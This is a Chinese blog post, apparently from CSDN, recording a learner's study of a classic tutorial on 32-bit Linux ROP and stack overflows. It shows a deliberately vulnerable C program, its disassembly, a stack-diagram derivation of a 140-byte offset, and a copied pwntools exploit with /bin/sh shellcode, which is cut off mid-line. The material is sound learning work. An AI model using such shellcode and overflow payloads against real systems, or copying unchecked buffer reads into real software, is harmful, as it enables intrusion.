【逆向学习记录】学习《一步一步学ROP_x86》

1.概述

通过前面三篇文章,学习栈帧,GOT表,PLT表,接下来就可以进行漏洞利用,漏洞利用学习最好的方法就是利用经典,其中经典教学里面最经典的当属蒸米大神的一步一步教学系列
一步一步学ROP之linux_x86篇 – 蒸米
蒸米大神的文章,是实战类型,里面有不少细节的东西,对于我这种没有基础的人来讲,如果不理解是很容易忘记的,因此进行原理上的学习探索
环境:ubuntu 16.04
编译需要在原来的基础上添加-m32参数

2 一步一步的调试并解决疑问

2.1 源代码(蒸米)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
   
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
   
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

2.2 汇编代码

    0x08048460 <+0>:     lea    ecx,[esp+0x4]
    0x08048464 <+4>:     and    esp,0xfffffff0
    0x08048467 <+7>:     push   DWORD PTR [ecx-0x4]
    0x0804846a <+10>:    push   ebp
    0x0804846b <+11>:    mov    ebp,esp
    0x0804846d <+13>:    push   ecx
    0x0804846e <+14>:    sub    esp,0x4
    0x08048471 <+17>:    call   0x804843b <vulnerable_function>
        0x0804843b <+0>:     push   ebp
        0x0804843c <+1>:     mov    ebp,esp
        0x0804843e <+3>:     sub    esp,0x88///这是88的关键
        0x08048444 <+9>:     sub    esp,0x4
        0x08048447 <+12>:    push   0x100
        0x0804844c <+17>:    lea    eax,[ebp-0x88]
        0x08048452 <+23>:    push   eax
        0x08048453 <+24>:    push   0x0
        0x08048455 <+26>:    call   0x8048300 <read@plt>
        0x0804845a <+31>:    add    esp,0x10
        0x0804845d <+34>:    nop
        0x0804845e <+35>:    leave
        0x0804845f <+36>:    ret
    0x08048476 <+22>:    sub    esp,0x4
    0x08048479 <+25>:    push   0xd
    0x0804847b <+27>:    push   0x8048520
    0x08048480 <+32>:    push   0x1
    0x08048482 <+34>:    call   0x8048320 <write@plt>
    0x08048487 <+39>:    add    esp,0x10
    0x0804848a <+42>:    mov    eax,0x0
    0x0804848f <+47>:    mov    ecx,DWORD PTR [ebp-0x4]
    0x08048492 <+50>:    leave
    0x08048493 <+51>:    lea    esp,[ecx-0x4]
    0x08048496 <+54>:    ret

2.3 level1 调试细节

2.3.1为什么是溢出点140个字节

通过画堆栈图,对比在read执行之前和执行之后的堆栈变化,进行计算
在这里插入图片描述
140个字节就是0xffffd52c - 0xffffd4a0 = 140
而Ret的地址为0xffffd52c----0xffffd530之间的四个字节
所以覆盖返回地址要 140 + ret

2.3.2 level1中的ret是什么,如何计算出来

直接copy 蒸米大神的漏洞利用exp

#!/usr/bin/env python
from pwn import *
p = process('./level1') 
ret = 0xbffff290

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret) 
# 对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值